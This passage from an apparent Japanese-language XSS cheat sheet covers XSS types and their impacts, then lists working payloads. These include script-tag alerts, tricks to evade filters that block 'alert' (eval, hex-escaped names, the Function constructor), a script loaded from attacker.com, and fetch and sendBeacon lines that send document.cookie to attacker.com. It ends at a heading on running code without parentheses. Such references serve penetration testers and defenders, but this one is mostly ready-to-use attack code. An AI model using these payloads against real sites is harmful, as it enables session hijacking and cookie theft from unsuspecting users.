
リフレクテッド、ストアド、DOM、ブラインドペイロード、フィルターバイパス、WAF回避、CSPバイパス、mXSS、実世界のCVEケーススタディを網羅する包括的なXSSリファレンス。
GitHub 上で最も包括的な XSS リファレンス。
Reflected · Stored · DOM · Blind XSS — ペイロード、フィルターバイパス、WAF 回避、CSP バイパス、mXSS、プロトタイプ汚染チェーン、実世界の CVE。2026 年対応。
ペイロード · フィルターバイパス · WAF 回避 · DOM XSS · CSP バイパス · Blind XSS · 高度な手法 · ツール
クロスサイトスクリプティング(XSS)はクライアントサイドのコードインジェクション攻撃であり、攻撃者が信頼された Web アプリケーションから配信されるコンテンツに悪意のあるスクリプトを注入します。被害者のブラウザがページをレンダリングすると、注入されたスクリプトはそのオリジンからの正規のスクリプトと同じ権限で実行されます。
XSS は影響が深刻で攻撃対象領域が膨大であるため、一貫して OWASP Top 10 に含まれています:
| 影響 | 説明 |
|---|---|
| セッションハイジャック | document.cookie を窃取し、認証済みセッションを乗っ取る |
| アカウント乗っ取り | 被害者のセッションを利用した偽造リクエストでメールアドレス/パスワードを変更する |
| キーロギング | パスワードやクレジットカード番号を含むすべてのキーストロークを記録する |
| フィッシング | 認証情報を攻撃者に送信する偽のログインフォームを注入する |
| 改ざん | ページコンテンツを変更し、誤情報を拡散したり標的を貶めたりする |
| マルウェア配布 | 被害者をエクスプロイトキットへリダイレクトする |
| 暗号通貨マイニング | 被害者のブラウザでクリプトマイナーを実行する |
| SSRF / 内部ポートスキャン | 被害者のブラウザを利用して内部ネットワークを探索する |
| 認証情報の収集 | DOM から自動入力された認証情報を読み取る |
| スクリーンショット / Webカメラ | getDisplayMedia() で画面を、getUserMedia() で Webカメラをキャプチャする |
XSS は同一生成元ポリシー(SOP)を破ります。悪意のあるスクリプトが標的のオリジンから配信されるため、ブラウザはそれを信頼されたものとして扱います。つまり、XSS は攻撃者に以下を与えます:
HttpOnly で保護されていないすべての Cookie へのアクセスlocalStorage および sessionStorage へのアクセスCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| 種類 | 永続性 | 影響を受ける対象 | サーバーはペイロードを認識するか? |
|---|---|---|---|
| Reflected | なし | 標的の被害者 | はい |
| Stored | あり | すべての訪問者 | はい |
| DOM | なし | 標的の被害者 | 通常はいいえ |
| Blind | あり(リモート) | 管理者 / バックエンドユーザー | はい(インジェクションポイントにて) |
すべてのセキュリティ研究者が知っている基礎的なペイロード。これらはフィルタリングが存在しない場合に機能します。
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert がブロックされる場合)多くの最新アプリケーションや WAF は alert という単語をブロックします。以下の代替手段を使用してください:
// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>
// prompt() — shows input dialog
<script>prompt(1)</script>
// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>
// print() — opens print dialog (noisy but visible)
<script>print()</script>
// debugger — pauses DevTools if open
<script>debugger</script>
// throw — visible in console as uncaught error
<script>throw 1</script>
// Using window object
<script>window['alert'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>
// Using top
<script>top['alert'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>
// Constructing alert string to evade static analysis
<script>window['\x61\x6c\x65\x72\x74'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>
// Using eval
<script>eval('ale'+'rt(1)')</script>
// Function constructor
<script>Function('alert(1)')()</script>
// setTimeout / setInterval
<script>setTimeout(alert,0,1)</script>
<script>setInterval(alert,9999,1)</script>
// Using fetch to exfiltrate (when alert is blocked entirely)
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
// navigator.sendBeacon — harder to block, works on page unload
<script>navigator.sendBeacon('https://attacker.com/',document.cookie)</script>
括弧はフィルタリングされることがあります。以下のテクニックは括弧を使わずにコードを実行します: